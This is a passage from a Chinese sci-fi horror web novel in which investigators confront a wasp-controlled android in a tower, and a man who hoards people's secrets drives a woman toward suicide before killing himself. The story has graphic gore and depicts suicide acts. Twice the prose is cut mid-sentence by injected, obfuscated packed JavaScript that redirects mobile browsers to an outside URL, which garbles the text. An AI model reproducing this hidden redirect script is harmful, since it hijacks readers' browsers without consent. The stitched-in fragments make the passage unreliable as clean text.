那是一个很大的冰淇淋招牌。 姜原哑然失笑。原来活化机械的黄蜂也会被牛奶和焦糖的甜香引来吗? 而白少俊见状,也早已经明白情况。他从背上卸下榴弹发射器,打开保险。 姜原犹豫了一会,屏住呼吸,向内踏了一步。不管怎么样,他还是最好确认一下易谦明到底是不是已经成了活化机械的食物。但就是这一步,也引得周围的蜂群轰然起飞,把姜原裹在中间。 好在他身上穿着潜水服,手上也戴着手套,除了脖子之外,也没有多少裸露的地方。姜原左手从腰间抽出一枚烟雾弹,双手压下外套的衣领的同时,用右手食指勾住拉环,这样万一他觉得有什么不对劲,就可以马上拉开拉环。他的心里是害怕的。他只是跟据上一次的经验,认为它们在没有命令的情况下不会随便攻击自己。 白少俊被这情况下了一跳,急忙举起榴弹发射器。 虽然黄蜂围着姜原飞舞,但目前尚未开始攻击他。姜原松了一口气,又向前迈了一步。黄蜂开始爬上他的面罩,聚拢在呼吸孔附近。但它们钻不进去。可能是它们从那里感受到了他呼出的热量。 姜原又向前踏了一步。他周围的黄蜂似乎开始失去兴趣,慢慢散去。 “你……也是够胆大的。”白少俊低声说。 姜原回头笑了笑。“不胆大也不会来这里。我去里面看看。”姜原的声音也很低。他怕过度刺激到蜂群。 “我……我也去。”白少俊也向前迈了一步。黄蜂就像刚才对姜原那样围拢到他的身边,然后慢慢散去。它们似乎对面罩的呼吸孔情有独钟。 该不会是因为他们从外面带进来的雾吧?姜原有点好奇。他们两个的面罩上都是止回呼吸阀。气体可以从那里呼出,但不会吸入。而他们在外面呼吸时,想必血液和肺部还有不少雾霾的颗粒。可能这些黄蜂就是想要收集那些物质。 但眼前这黄色的雾,是不是某种不同的东西? 呼———— 一股浑黄的气流迎面吹来。这感觉实在太像北方地区的沙尘天气。在那种天气里,人们绝不能大口呼吸,一定要用口罩,至少也得是衣服捂住口鼻,否则一定会被沙子闷死。只不过,姜原并不知道呼吸这种黄雾的后果到底是什么。他也不打算去试。他看了一眼自己的氧气余量。大概还有40分钟。其他人大概也差不多。 他在自己腕上的手表设置了一个25分钟的闹钟,然后继续向里面走去。 呼———— 又是一阵气流扑面而来。他的脖子上能感受到那种沙子摩擦的粗涩感。空气中的东西黏在他的皮肤上。姜原下意识地擦了擦。有点痒痒的。 呼———— 他感觉自己距离这气流的出处越来越近了。姜原走在前面,他知道白少俊就跟在后面不远处。此时他的脑子里已经没办法再思考什么。他把自己的注意力全部倾注在自己的感官上。他能看到在周围爬动蜂群的触须和抖动的翅膀,他能听到自己鞋底与脚下不知什么碎屑摩擦的沙沙声。他就这样经过一排装满雪糕的冰柜,钻过画着傻笑小孩的吊牌,绕过一辆不知道怎么弄进来的冰激凌餐车,一步一步走向气流的源头。 然后他看到了一幅奇异的景象。 那是一个上时代的立式自动冰激凌售货机,它顶部花花绿绿发光的招牌被砸破了,其中已经故障的荧光灯时不时噼啪地闪烁着,照亮了那个售货机前的人影。那个人正站在售货机前,不断按下出货的按钮。而他每按下一次按钮,冰激凌就会从其中的那个喷嘴中喷挤出来。而他就低下头去,贪婪地啃食着。 “易谦明?”姜原小声说道。 不。不像。他借着荧光灯的闪光看着那个人的侧脸。 似乎是那个仿生人管家阿福,但……仿生人在这里吃冰淇淋是什么意思? 白少俊也跟了过来。他一看到那个场面,就也呆住了。 他们两个就呆立在原地,看着那个仿生人大口大口吞吃那些五颜六色黏糊糊的半流体。 那人又吃了几口,然后突然抬起了头。他像是要呕吐一样,脸朝着天空,脖子一伸一缩,口中发出咯咯的声音。如此几次,他突然一弯腰,喷吐出一股猛烈的黄黑色气流。 天哪。这绝对不是仿生人固有的功能。姜原心想。看上去,这像是那人把那些有机物摄入之后,加工成什么别的东西,但是…… 警铃声突然响了起来。 “怎么回事!”白少俊惊叫道。但他的声音早被警铃声淹没。 而蹲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302800|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那里的人却像是辨认出了白少俊的声音一样,猛地转过头来。 那人的脸早已失去了阿福原本的模样。3代仿生人使用的非牛顿材质表皮一多半都已经脱落,下半张脸只留下了部分仿生肌纤维和金属骨骼。他侧脸上的仿生肌肉耷拉在一边,晃来晃去,简直就像是黄蜂的大颚。而他的嘴唇也已经不见踪影,两排白森森的牙齿全部裸露着。 那仿生人看到姜原和白少俊后,一双眼珠在眼眶中抖动了一下,发出了一声威吓式的嘶喊。 气息、烟雾、还有冰激凌融化后的飞沫,汹涌而至。 姜原不由自主的举起手,挡在自己面罩之前。 应该怎么办?他的脑中闪过几种方案。 然而再多的方案都没有考虑到目前的情况。 只听得“喀——嗵”的一声空腔音,一枚榴弹从他身边飞过,撞上阿福那沾满融化冰激凌和污渍的胸口,爆炸了。 但随爆炸产生的并不是电磁脉冲,而是一团烟雾和许多弹片。不少黄蜂被这道冲击波纷纷震落,但弹片仅仅撕开了那仿生人胸前的衣物。 白少俊站在姜原身后,不敢置信地看了看自己手里的榴弹发射器。 “快跑!”姜原喊道。他拉开手中烟雾弹的拉环,向他们来时的道路一滚;自己也猫低身子,在烟雾中向出口奔跑。 但白少俊还留在原地,转动榴弹发射器的弹巢。他看到阿福那副模样时大为震惊,以至于忘了调整榴弹类型。 蜂群扑了上来。它们包围了白少俊的氧气面罩,在目镜上盖了厚厚一层。白少俊看不到敌人的位置,只能对着自己前方扣动扳机。 电磁脉冲弹擦过阿福的肩膀,飞到了大厅的另外一侧。 这枚脉冲弹像一枚投进水池的石子。爆炸将电子流压缩成一道狭窄而尖锐的波墙,在整个大厅内一圈圈地荡漾开来。磁场重新在电路种产生感应电流,造成的停电迅速侵蚀了整个楼层,让黑暗吞没了他们眼前的一切。 姜原停下了脚步。他什么都看不见,但他没有拧亮电筒,更不敢出声。这些黄蜂追逐猎物到底靠的是什么?视觉?听觉?嗅觉? 他听到黑暗中重新响起了蜂群嗡嗡的振翅声。 看来刚才那枚脉冲弹落点太远了,没有起到效果。 “啊——!” 对讲机中传来一声惨叫。同时,一道手电光划破了黑暗。 灯光中,白少俊正在疯狂地拍打自己的脸。他的脸上覆盖了厚厚一层黑黄相间、不断蠕动的东西。 黄蜂咬穿了他面罩的密封橡胶圈,以及输气管道,并从那里钻了进去。 于此同时,一个黑色的人影已然逼到白少俊身前。白少俊丢下手中的榴弹发射器,伸手摸向腰间。 砰!砰砰!砰砰砰! 枪口的火光不断闪烁。 一只黑色的手像尖刀一样插进白少俊的胸膛,把他拖向自己,另一只手抠住他的眼眶,把脑袋向后一掰。 随后那张半蜂半人的口,咬上了白少俊的喉咙。 手电筒的光幕中,洒下了一阵红色的雨。 在鲜血喷出的同时,姜原也丢出了一枚脉冲弹。正好落在白少俊的脚边。 砰的一声。 电筒闪了几闪,熄灭了。在最后的一点光线中,黄蜂像是菊花花瓣一样纷纷坠落。但姜原知道,那个仿生人并没有因之倒下。 因为黑暗中还飘着一双亮着浑浊黄光的眼睛。 姜原拧亮一支荧光棒,全速奔跑。 他不用回头也知道,对方一定就在后面紧跟着自己。没有受到电磁脉冲影响的黄蜂也正在嗡嗡聚拢过来。姜原用力把荧光棒扔向前方,同时他从口袋里摸出另一枚脉冲弹,拉开拉环,砸向右边的墙壁。 脉冲弹撞上墙壁,弹向他的后方,在空中爆开。 冲击波推得姜原踉踉跄跄地撞了出去。他借机一滚,从口袋内掏出一枚一次性的动能炮。他拉开前方的防火门,侧身出去,反手把动能炮的引线夹在门缝里,牢牢拉紧。 嗵的一声撞击。有什么东西已经来了。 它抓挠了几下门板,大概是找到了把手的位置,然后猛地拉动防火门。姜原能从门缝中看到他丑陋的脸。 但防火门在松开的瞬间,动能炮的引线也因之被扯响。 嗵的一声炮响。炮□□出的压缩空气吹碎了那仿生人脸上摇摇欲坠的仿生肌肉,身上的衣衫,以及周围聚集的黄蜂。 他在防火门的另一侧发出一声长而刺耳的哀嚎。他嗵地一声,又一次撞在防火门上。 姜原在刚才的哀嚎声中,关紧了防火门,反锁两圈,又把自己的滑翔伞从背包里抽了出来,插在防火门的两个把手之间。然后他又掏出一枚破片炸弹。虽然他不太相信这玩意能真的造成什么伤害,但能够多争取一分钟的撤退时间也是好的。 在他准备把炸弹的拉环绑在门把手上时,他突然注意到,门的另外一侧突然安静了。 他竖起耳朵。他似乎听到,就在隔着门的咫尺之遥,有嘶嘶的吸气声音。 那是什么意思? 但门的另一侧却没有更多声音了。 警铃声也不知道什么时候已经停了。 吸气声,嗡嗡声,什么都没有了。只有什么都没发生过般的安静。 姜原拍了一下那扇门。门的另一侧仍旧没有任何声音。 他留着插在门把手里的滑翔伞不动,解开反锁,轻轻推开一丝窄缝。楼梯间里的灯光在另一侧的黑暗中画出一条白色的线。 但那一边似乎真的什么都没有了。 怎么回事?姜原茫然望着黑洞洞的楼层。 83.审判05 周向青飞快地穿过这座城市,赶往人才贸易银行的大楼。 夜色正在一丝丝地从空中抽离,日光则慢慢填补了这些空白。已经有不少人又躲过了一个危险且漫长夜晚,他们慢慢从自己蛰伏的洞口钻出,爬向自己觅食的场所。这座蚂蚁的城市正在渐渐苏醒过来。 但这也是周向青奔跑得如此之快的原因。 姜原不惮于做任何决定,也没有什么顾忌,他是个一旦想做什么就一定会去做的人,至少她是这么感觉的。 而昨晚是一个好时机。电梯坏了,没有人能轻易登上易谦明的蚁穴。 姜原一定会利用这个机会。 所以她也一定要尽快赶得上。用这最后的机会拿到那个人的信息,然后带着胖球尽快离开。 在周向青赶到人才贸易银行的时候,这巨大的蚁穴似乎还沉睡在黑暗中。银行的大门紧闭,里面没有任何有人活动的气息。她趴在玻璃上往里看,然后又后退几步打量天空,但完全看不出姜原来过的痕迹。 即便他没有来,她也没有多少时间拖延。铸造局的人必然正在寻找她。她唯一的办法就是尽快行动,然后争取在对方找到自己之前离开这里。 她向上一跃,爬上二楼,找了一个不显眼的位置,开启左腕的刀刃,在玻璃墙上划了一个圆洞,钻了进去。 但就在她切开玻璃的瞬间,大楼内响起了刺耳的警铃声。 她暗骂了一句。这些阔佬真是疯了,在什么地方都要装警报。但警报已经响了,说什么都晚了。不过有什么关系?他们之前早就把易谦明和阿福招惹到了,难道现在还怕这点警铃不成? 但一层到五十层的电梯因为触发警报的缘故,已经被锁住了。 她只得扭头跑向消防楼梯井。 但她在进入楼梯井后,只听到上空传来一阵古怪的声音。 轰隆隆、轰隆隆。 那声音在楼梯井中来回反弹了不知多少遍,早就失去了它原本的音色。周向青根本听不出那到底是什么声音。她抬起头向上望去。但什么都看不见。只有方形的螺旋状楼梯一圈圈地通向高楼顶端。 这么晚的时间,易谦明应该是在他顶层的房间里休息。也不知道姜原是不是已经先行得手。她没有任何头绪,唯有先上去找找再说。 周向青纵身一跃,左脚先踏上台阶的外缘。然后她再一纵,右脚又登上另一边楼梯的扶手。她就在这方形的螺旋中旋转起舞,以大概三秒钟一层楼的速度,一刻不停地向上方登去。 57、58、59、60层。她到这里只用了三分钟。也几乎是这个时候,警铃的声音渐渐平息下来了。 接下来的61层,就是她的客房。她的胖球还在房间里。周向青犹豫片刻,还是推开了61层的防火门。虽然带着胖球去找易谦明可能有些碍手碍脚,但一旦像上次一样,她来不及回来,那可就麻烦了。 但她在推开防火门的一瞬间,整个人都愣住了。 整个走廊都弥漫着黄色的雾气,几只黄蜂嗡嗡地从天花板上飞过。她能隐约听到四周传来的悉悉索索的响声,似乎是到处都有东西在爬来爬去。 难道是那些黄蜂全都从餐厅那一层跑出来了吗?周向青大惊失色。但这黄色的雾气又是怎么回事?它是不是城市中原本就蔓延的白雾的另一种形态?是蜂群把白雾加工后变成了这个样子,还是这种雾具有另一种功能?这些雾跟易谦明有没有关系? 不知道。 一部分雾气涌入她的口腔。她觉得嘴里涩涩的、滑滑的,像是吃了一口沙子。周向青用力把这奇怪的东西吐出去,但几只黄蜂似乎受到她动作的吸引,然后飞到她的身边,嗡嗡环绕。 周向青挥手把这些黄蜂赶开。此时她唯一想到的,就是胖球。周向青屏住呼吸,迅速奔向自己原来的房间。 她的房间里照样充满黄色的雾气。 所幸胖球还乖乖呆在它的笼子里。周向青冲进来的时候,它居然还好整以暇地歪着头看她。而在笼子角落,居然还散落着几只黄蜂的残骸。可能是它啄食了几只,发现不能吃,又吐了出来。周向青把胖球从笼子里掏了出来,仔仔细细看了一遍。不错,胖球的翅膀和爪子都还在,完好无损。 看来鸟儿的确是虫子的克星。 周向青带着胖球返回消防楼梯。她一出防火门,就看到一片黄叶样的什么东西打着旋儿,在楼梯竖井内飘然落下。周向青不假思考,纵身一跃,跳了下去。她像是燕子般在楼梯间往来滑行了几个转折,终于在三十层的高度伸手将那黄色的东西一把抄住。 那是一个黄蜂模样的头套。这是易谦明的东西。 周向青挂在楼梯扶手上,向数百米高的楼顶望去,但什么都看不到,什么也听不到。 “易谦明!姜原?”她放声高叫。 她的声音在这楼梯井中往来碰撞,最终混成无可辨认的余音。她不知道对方能不能听到她的声音,但显然并没有任何回应。 ### 就在关铁震和郑小楼同时被警铃吵到的功夫,易谦明向后一跳,转身躲入一面玻璃墙后,不见了。 关胡二人急忙追过去,却连人影都没有摸到。而那尖锐刺耳的警铃声更盖住了易谦明的脚步声,让他们完全搞不清易谦明去了哪里。 “你怎么让他跑了!”郑小楼气急败坏地吼道。 “谁想得到他居然会那样笑啊!太吓人了!而且这警报到底是怎么回事!”关铁震也吼了回去。 但在这警铃声中,谁也听不清对方到底说了什么。 他们两个人只能凭着感觉去追,但总是走不了几步,就遇到一堵装着泥土的玻璃墙壁挡在前面,不得不换个方向。 “他一定是要出去!”郑小楼对着关铁震的耳朵喊道。 关铁震总算是听到了郑小楼的话,两人急忙又扭头向出口的方向奔去。好在此时警铃声也越来越小,渐渐平息了下来。 “杀人的一定是他!这个疯子!”郑小楼恨恨地骂道。 “他虽然是挺疯的,但有钱人难道不都是这副模样?”关铁震嘴上抬杠,但脚步却不停。 “怎么可能‘都’是这副模样?你怎么还替他说话!马老爷子他可是死在他的手里!虽然我知道你一直想往上爬,但你也不能——” “喂!”关铁震打断了郑小楼的话。但他也没有多说什么,只是沉默片刻,补了一句:“过分了。” “抱歉。”郑小楼也冷静了下来。 她深深吸了一口气,高声喊道:“易先生!别跑了!如果是你杀的人,最好跟我们一起去自首!如果不是你,最好解释一下,到底怎么回事!” 她的声音又细又尖,穿透性很强,如果易谦明还在附近,一定会听到。 果然。 “你们会自杀的!你们看清楚自己之后,也会自杀的!” 易谦明的声音听起来正在出口的方向。 郑小楼跟关铁震对视了一眼。她伸手从背后摘下她带来的炮钉枪,枪口顶着面前的玻璃墙壁,扣动扳机。这玩意用火药做动力,发射带倒钩的膨胀铁钉,虽然是工程工具,但有很强的止动能力。她本来准备用它限制仿生人管家的行动,但用在这里倒是也刚好合适。 钉头啄破了强化玻璃的表面,而火药燃烧的气浪把玻璃震得粉碎。薄薄的泥土构成的蚁穴也瞬间崩溃,随即开辟了一段通往出口的道路。 “你!你在干什么?”易谦明听到了这边的动静,恼怒地大喊。 郑小楼并不回答,又把炮钉枪对准另一处墙壁,再次扣动扳机。 易谦明气急败坏地发出一声长长的嚎叫。 “你们一定会自杀的!” “他要出去了!”郑小楼喊道。她和关铁震踏过泥土和碎玻璃,撞开防火门,冲进楼梯井。头顶上方正好传来重重的关门声。 只有易谦明刚刚扔下的大黄蜂头套打着圈儿,不断向下落去。 ### 混账东西。 易谦明在心里暗骂。 没有人能在亲眼看到自身的价值后,不对自己的人生感到迷惑。没有人能在亲眼看到自己的本质时,不对自己的存在感到厌恶。 他前不久还看过这帮小丑的资料。他知道这些人心里的秘密。他知道他们喜欢什么,讨厌什么,想要什么,畏惧什么。他比小丑们更接近“自己”的本质。 他有必要让这两个小丑明白,他们的本质,就是没有任何生存的价值。 易谦明摘下黄蜂头套,轻蔑地抛进电梯井,退进59层的防火门。 这里是他隐藏在黑暗中的圣地。他真正工作的工具和成果都储藏在这里,每一个人,每一件事,他能够触及的一点一滴,全都在这里。 只要在这里,只要做一些准备,他就能让自己的思绪暂时离开自己的身体,成为另一个人。 但他才跑了几步,便觉得嘴里多了一点涩涩的颗粒感。他不由得吐了口唾沫,然后才意识到,这条走廊里同样充满了黄色的雾。 易谦明大惊失色。 几只黄蜂从天花板上嗡嗡地飞了下来,围绕他的脑袋旋转。它们是在采集他口中吐出的雾气。易谦明只觉得手脚冰凉。可能用不了多长时间,那个仿生人就会带着蜂群追过来。但另外两个麻烦的家伙也紧跟在他的后面。 先处理了他们再说。 易谦明把手掌按上静脉认证开关,打开卷帘门。 59层与60层在这个空间里连成一体,无数参天的书架像一个一层又一层不断旋转的漩涡。而在漩涡中心的,是聚光灯下一张大大的书桌,上面放着他前两天刚刚查阅过的信息。 易谦明坐在桌前,把那一摞文件一张一张翻过。 对,对,就是这样。 他们是这样的。 我们是这样的。 外面那无数个我和这个我都一样,我们没有任何价值。如果尸位素餐的我不离开占据的位置,那么无数仍然沉睡中的我就没有属于我们的生活。 所以我没有错。我永远是正义的。 这都是为了让我活下去,成为真正的我。 与此同时,几只机械手从座椅的上方伸了下来,在他的脸上喷上薄薄的一层胶质,随后开始塑出一张人脸的形状。 “别动!你手里是什么?”一个女人的声音在圣地中响起。她举着枪,缓缓靠近书桌前的转椅。 转椅上那人手一抖,一摞纸甩向空中,随后飘散在地上。 “天啊,这什么地方?”一个男人的声音尾随而至,他环视周围高高的书架柜子,看着上面一排排陈列的文件箱。“资料室?图书馆?” “你看到的都是人。”转椅上的人说。 “你说什么?” “架子上的,都是活生生的人。” “这就是他用那些黄蜂收集来的资料。我的天,居然有这么多。”女人好奇地敲了敲自己身边的柜子。然后无意中看到了那纸箱上的名字。她睁大眼睛,从纸箱中抽出一份文件,翻看了两页,便惊叫道:“这是其中一个受害者!” 男人劈手把那文件抢了过去,只看了一眼,脸色也跟着沉了下来。但他还是不太敢相信的样子,说:“这也不能证明……” 女人举起手中的炮钉枪,瞄准转椅上那个人的后脑勺,语声急促地质问:“你疯了吗!为什么要杀这些人?” 那男人似乎是不相信一样,丢下手中的文件,开始在自己旁别的书架上翻找。“这个也是!这个也是!”他嘴里不断嘟哝着。似乎找到的证据越多,他就越难相信自己双眼所看到的东西。 “我不杀人。我只是让他们意识到了他们的价值。” 写字台前的人慢慢转过身来,仔细地打量着自己面前的两个人,像是要把他们两个的形象印入脑海一样,然后缓缓闭上了眼睛。 对面的两个人则无比惊诧地瞪圆了四只眼。 “那张脸——到底是怎么回事?”男人惊讶地低声问道。 “那就是咱们两个的脸,拼在一起。”女人低声道。 但这个双面人并不理睬两人的窃窃私语,而是继续说道:“每一个人,都有价值。每一件物,也有价值。一块砖,一枚螺钉,甚至一粒沙,都有它们的价值。完全没有价值的事物是不存在的。”他的语气平淡到没有任何温度。 “但你——” “但我们并不重视一块砖,一枚螺钉,一粒沙。这并不是因为东西本身没有用处。刚刚婚飞后的蚁后,产下的第一批工蚁每一只都弥足轻重;但对于一个发展成熟的蚁群来说,每一只工蚁又是微不足道的。难道是工蚁能做的事情有什么不同吗?不是。这只取决于整个群体的发展阶段罢了。所以一个人的价值,仅仅取决于他对集体的贡献。” “你在胡说什么呀!什么价值不价值的……易谦明,你真的疯了吗,为什么要杀这些人?”女人大声质问。 “我不是易谦明。” 双面人说。他同时举起两只手,左右手的指尖分别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但你刚才说,你就是我。所以就算是你杀了我,也不过是‘自杀’,不是么?”郑小楼冷笑道。但即便是这句话,那个人仍然也异口同声说了出来。“我知道你能查到很多东西不假,但你难道就能——你能不能别学了?” 那人总能与她同时说出每一句话,让她极为恼火。 那个人低下头去。过了一会,他抬起头,用一副感伤的语气说:“这里只有我在跟我说话。我知道我刚才的下半句话是什么,也知道我会如何回答。比如,我知道,我一直留在这里的原因是什么。” 那个人仍旧把话中的“你”字,全部换成了“我”字。 房间里的黄蜂越来越多,它们环绕在那个人周围,振翅的嗡嗡声与那人的声音交融在一起,形成了一种古怪而和谐的音色。 “我本来是个乡下姑娘,来这里是梦想进入铸造局,做一个探员。但我始终没能通过铸造局的招募考试,一方面因为学历不够理想,另一方面也的确能力不足。价值评级让我的处境更艰难了,工作也不好找,只能打点短工。从老家带来的钱也花光了,但也不好意思回家。在进退不得,一筹莫展,甚至想要去出卖身体的时候,有个人给了我一个工作的机会。本来只是绝望中的救命稻草而已,但却渐渐习惯了这种不上不下的生活。虽然心知这样没有未来,但日子还是一天一天过去。当年的梦想也渐渐消褪了,只剩下寂寞冷清的夜里对温暖的渴求,对过去的回忆,对将来的恐慌。我能跟他的关系再进一步么?我能带着这样一个秃头、邋遢、一无所成的人回去介绍给父母,说这就是我这几年来的选择么?我还能做什么?我还能去哪里?我还来得及改变我的命运吗?” 关铁震在听到最后几句话的时候,停下了翻找文件的手。 “你……小楼,他说的……” “他是在胡说!”郑小楼尖叫道。“你是在跟据你那堆偷窥窃听弄来的情报,妄自揣测别人的心理!” “可是——” “可这都是我的错!”那个人突然转向关铁震。他瞪大了眼睛,一只手直挺挺地指向关铁震,指尖对着他的鼻尖。 “都因为我不过是一个庸人!我以拯救者的姿态出现在别人的生活中,但我不过是一个爱做大梦,爱说大话的庸人罢了!我贪财,我懒惰,我胆小,我在关键的时候总因为紧张而耍脾气。我虽然看起来像是一个首领,有些见识,但我实际上没有那个能力也没有那个意志。我不敢也不想承担责任,我负不起任何责任,我也很少考虑别人的事情。我在这城市中苟且偷生,时不时接一单工作,拼命维持住自己的评级不掉下去。在我看到我一直向往的人死去时,我甚至有一点窃喜,觉得这可能是自己的机会,虽然我并不知道怎么才能得到。我想要抓住自己能触及的所有机会,但是我又不知道怎么把这些机会变成确实的好处,最后只能眼睁睁地看着它们从指缝里溜走。我想要欺骗价值评级体系,付出的代价就是同伴的生命。而我仍然在考虑,要不要为了一个死去的人,跟这么有权势的人翻脸是否值得。” 郑小楼转过头,看着关铁震。“你真的觉得……” “你……”关铁震用力扭过头,不去看那个人的手指。“我……我没有这样考虑。我只是难以相信……” “每一天每一天循环往复,徒有岁月增长。环顾周围,有什么真的是我创造的吗?有什么是为我存在的吗?有什么人是与我的灵魂共鸣的吗?没有。我在这个城市里没有未来。我跟这个世界没有关联。我留不下自己存在过的痕迹,我的全部生命都用来捕捉一个飘渺的幻影。最终,我也将死去——毫无价值地死去。” 那个人的声音像是无边无际的浓雾,无休无止的暴雨一样,她看不清他的意图,而那阴郁的沙沙声,始终挥之不去。 但他,的确就是她自己。淅淅沥沥响着的是她自己的声音。迷茫而混沌的是她的未来。她在这座城市里已经呆了太久,她已经不记得曾经的自己了,她的青春在一点一滴地流失,而生活带给她的只有侵蚀和重压。她的面前不是一个怪异的男人,而是一面已经扭曲的镜子。镜中映射出的,始终是她自己。 “妈妈。如果能再见你一面就好了。” 那个人口唇翕动,和郑小楼同声说道。他低沉的嗓音,就是她的和声。 她把枪口调转回来,对着自己的下颌。 关铁震恍惚失神地看着她,但什么都没有说。 她的手指勾动扳机。 84.审判06 击锤叩上底火,火药燃烧,膨胀的气体推动钢钉,从枪口迸射而出。 但一只手从旁边伸来,握住枪管,推向一边。 钢钉擦着郑小楼的脸颊飞过,穿过她的耳朵飞上屋顶,只留下一道血痕和一个鲜红的孔洞。 关铁震终于回过神来。他抢步上前,从郑小楼手里夺下炮钉枪,用力扔到一边。郑小楼呆呆地看着他。 两人相视而泣。 越来越多的黄蜂从通风口钻进来。它们不再围绕易谦明飞舞,而是聚集在天花板上,周围的书架上,似乎在等待着什么。 同时,房间里也多了一个人,还有一只鸟。 周向青赶在姜原之前找到了易谦明。 她不认识郑小楼和关铁震,但她猜到这两个人大概是和姜原一起来的。她只是不知道为什么姜原不在这里。她在截下易谦明的黄蜂面具之后,找了几层楼才找到了这里。然后她险些就目睹了自杀现场。 虽然没搞懂这到底是什么情况,但本能的反应让她及时出手,把这个陌生的女孩子救了下来。 她不知道自己救的对不对,但只要易谦明还活着,就算是好事。 毕竟还有好几个问题缺少答案。 “你来的真不是时候。”易谦明慢慢摘下了自己脸上的头套,抛到一边。他错过了最后的机会。 “我觉得挺是时候的。”周向青答道。 易谦明说:“亏得我还帮了你一把。没想到你就这么报答我。你为什么就不能乖乖接受审判,然后离开这个地方?” “我想怎么办由不得你。何况你昨晚不是还说,房间里的才是你?你怎么不乖乖接受,这一切都是他的事业,好好报答他呢?”周向青讽刺道。 易谦明一怔,他没想到昨天一时动情而说的话,今天却被对方当作攻击自己的弹药。他恨声说道:“昨天只是一个比喻。我是人,而阿福是仿生人。不过是一个仿生人!仿生人再怎么说,也不过是模仿人类的产物。是他在模仿我,而不是我在模仿他。你搞清楚。无论是创意,还是做法,还是这里的所有权,都是我的!是我易谦明的!” “但我刚才可没有说,‘他’指的是阿福。”周向青道。 “说什么啊你?‘他’不是阿福,还能是谁?还有谁?”易谦明大喊。 “你知道我再说谁。马德兰。那个人。他。” 易谦明不说话了。 “而照我看来,你真正应该恨的人也不是阿福。他不过是个仿生人罢了。你应该恨的是,用给你阿福的方式夺走了你自己的人。马德兰。”周向青说。 易谦明没有回答。 “我一开始以为他只是给了你钱,但现在看来,他给你的,是如何实现你的想法的工具。可以说,你现在的一切都是他给的。你的人生,都是他给的。”周向青又说。 易谦明深深吸了一口气,苦笑道:“你说的没错,我现在的一切都是他给的。” “所以你才自愿把你的名字给他。但也意味着你从此成了他的奴隶,而这个从来不见踪影的他,变成了真正的你。”周向青道。 易谦明摇了摇头。“自愿?你知道当时是什么情况吗?他轻松地笑着,像是在决定咖啡加不加奶一样,决定我人生中最重要的事情。他满不在乎地说,‘不用在意,如果没有成功,一切损失都由我来承担。’但我怎么可能不在意?我怎么可能不在意?” 易谦明激动地挥舞双手,眼里冒出凶光。 “我虽然不过是个小人物,是个久久不得志的期货交易员,但这方案是我提出来的!这是我的点子!我的!我怎么可能不在意?我不会因为他说不用在意,就真的不在意。所以我才要用我自己,把他那些东西买下来。那些东西都是我买来的!那是用我的名字,我的人生,用我自己买下来的东西!” 易谦明说到这里,声音慢慢沉了下来,显得疲惫而沮丧。“但说到底,它仍然不能算是我的。而我用自己换来的,不过是一个怪物。我已经累了。再怎么挣扎都没有用处。” “活化机械有它自己的生命。它跟普通的机器不一样。”周向青说。 “用不着你告诉我这一点。而且你又如何呢?同样是被他干扰了人生的人,你一点反应都没有?”易谦明看了看周向青肩头的胖球,突然笑了:“你那只鸟,该不会也是他送给你的礼物吧?” 周向青脸色一变,向前跨了一步。 然而易谦明早已俯身一抄,把关铁震刚才丢开的炮钉枪抄在手里,指着周向青肩头。但胖球并不知道眼前的事情到底意味着什么,还昂着头左顾右盼。虽然周向青连续耸了几下肩膀,希望它赶快飞走,但胖球的小爪子一直抓得牢牢的。 “看来我猜的没错。”易谦明说。 “胖球是我的。”周向青道。 易谦明笑了。“是吗?” 周向青的态度软了下来:“就算不是……它也跟我在一起很久了。反正它就是我的。再说,我也不想干预你的事情。我只是想请你认真回忆一下,马德兰有没有给过你关于我的东西。或者是说过什么。什么都好。就算是微不足道的线索也没有关系。” 此时,天花板里传来一阵激烈的骚动声。 易谦明一挥手里的炮钉枪,大声说道:“何必呢!不论你如何寻找,你还是没法从他的阴影中走出去!” 周向青并没理解这句话到底是什么意思。 但她还没来得及开口询问,易谦明身后的天花板已经被一股巨大的力量冲开,宛如黑云一般的黄蜂群挤破了塑料天花板和通风口的格栅板,涌进房间。 而包裹在黑沉沉的狂风之中,轰然落地的,还有一个模糊的人影。 “你终于来了!”易谦明转过身,对着那黑雾中的人影叫道。 易谦明的眼神中有一点坚定,也有一点疯狂。 但对方并没有回答他,只有越来越大的蜂群振翅声。 易谦明仍然对着那人影喊道: ——你可以夺走我所有的东西! ——但你夺不走我的死亡! 易谦明用尽全身的力气喊出这句话,枪口顶住自己的下巴,扣动扳机。 钢钎插进易谦明的脑袋,带出一股混着脑浆的鲜血。 胖球尖叫一声,扑腾着翅膀,腾空而起。 而那黑雾中的人影倏然一动,已然站在周向青面前,随后蹲下身子,趴上易谦明的身体。无数黄蜂从他的肩上盘旋飞下,和他一并啃咬,吞食,把刚才活生生的易谦明变成了没有区别的有机物和热量。 周向青盯着那宛如风卷残云一般的宴席,连退一步都无法做到。 她没想到事情居然变成了这个样子。 她没想到竟然是易谦明亲手关上了她通往“那个人”秘密的大门。 无论九年前发生了什么,易谦明到底与“那个人”有什么样的关系,“那个人”为什么把易谦明的名字作为最后的线索,已经没人知道了。 她来这里的全部理由,正在随着易谦明的身体一道飞速消失。她应该走。但她也不舍得走。 那个不喜欢她、她也不喜欢的老人,用自己的生命换来了这次机会。 而周向青白白地把它错失了。 她感觉如果自己现在就走,那她就变成了一个笑话。 但易谦明真的已经死了。 她面前的是易谦明曾经的管家,阿福。但他也不是阿福。原本属于阿福的老年男性外表已经彻底剥落,只剩下一个没有任何个体特征的仿生人框架。那个仿生人张开大嘴,每一次用力的吞咽都伴随着细小而又刺耳吧嗒声。 